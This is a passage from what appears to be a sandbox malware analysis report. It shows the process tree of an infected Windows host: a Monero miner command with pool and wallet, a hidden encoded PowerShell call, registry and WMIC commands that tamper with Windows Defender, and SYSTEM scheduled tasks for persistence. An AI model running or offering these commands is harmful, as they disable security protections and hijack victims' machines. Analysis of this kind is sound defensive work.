                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6520
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                                                                                                                                                                                                                                                                                                  • Checks BIOS information in registry
                                                                                                                                                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                  • Identifies Wine through registry keys
                                                                                                                                                                                                                                                                                                                                                                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5608
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\1000088001\NewB.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\1000088001\NewB.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3764
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Program Files (x86)\GameSyncLink\GameService.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:7116
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2620
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Program Files (x86)\GameSyncLink\GameService.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:7124
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2132
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\Temp\60186.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\Temp\60186.exe" --http-port 14343 -o xmr.2miners.com:2222 -u 83dQM82bj4yY83XKGKHnbHTzqgY4FUt2pi1JS15u7rTs8v84mTU5ny5MiRoSeyduBUAQKFZ6MsvbMHYTisNeThDM3BqQ59y --coin XMR -t 1 --no-color -p x
                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:7104
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:7044
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5964
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\yFIjgte.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\yFIjgte.exe GH /caxkdidyB 385118 /S
                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6928
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4708
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1924
                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6772
                                                                                                                                                                                                                                                                                                                                                                                                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:540
                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                              forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6596
                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6012
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6868
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6368
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5852
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:7000
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                          forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:652
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5700
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6932
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5908
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2584
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5820
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1440
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    schtasks /DELETE /F /TN "bbmnnUCIPYyTQrzMQJ"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:232
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4948
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2852
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4588
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5376
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:396
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\ADJLsahCU\HkUzuj.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "FPieTEPPuEmJrhC" /V1 /F
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5500
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              schtasks /CREATE /TN "FPieTEPPuEmJrhC2" /F /xml "C:\Program Files (x86)\ADJLsahCU\GnzzIvZ.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2208
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              schtasks /END /TN "FPieTEPPuEmJrhC"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6932
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                schtasks /DELETE /F /TN "FPieTEPPuEmJrhC"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5320
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  schtasks /CREATE /TN "RMEgILKoRohUOb" /F /xml "C:\Program Files (x86)\DQANlvmTAvZU2\HvTjuOl.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5140
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  schtasks /CREATE /TN "zeKFSgsyWsBDI2" /F /xml "C:\ProgramData\VyWMmqtuSNndeGVB\NqYDhUm.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5552
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  schtasks /CREATE /TN "VMffJjKqhXQmtrZGW2" /F /xml "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\HbRoolv.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5748
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  schtasks /CREATE /TN "iNxHEAmPUdTkVvEiVFU2" /F /xml "C:\Program Files (x86)\PZjcxajBIsNTC\rLBClkS.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:436
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5368
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    schtasks /CREATE /TN "rrqYunoktxOQmCoCX" /SC once /ST 03:15:03 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\dtZEjMeL\DJrpUZZ.dll\",#1 /GVYdidBkTM 385118" /V1 /F
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1344
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    schtasks /run /I /tn "rrqYunoktxOQmCoCX"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6828
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      schtasks /DELETE /F /TN "XyyyteIMwZeutaZuw"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5932
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\LDdueAd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\LDdueAd.exe GH /pYmzdidsI 385118 /S
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:760
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2444
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6576
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6884
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6852
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1040
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6896
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3132
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3168
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1336
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4456
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6996
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4480
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4640
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
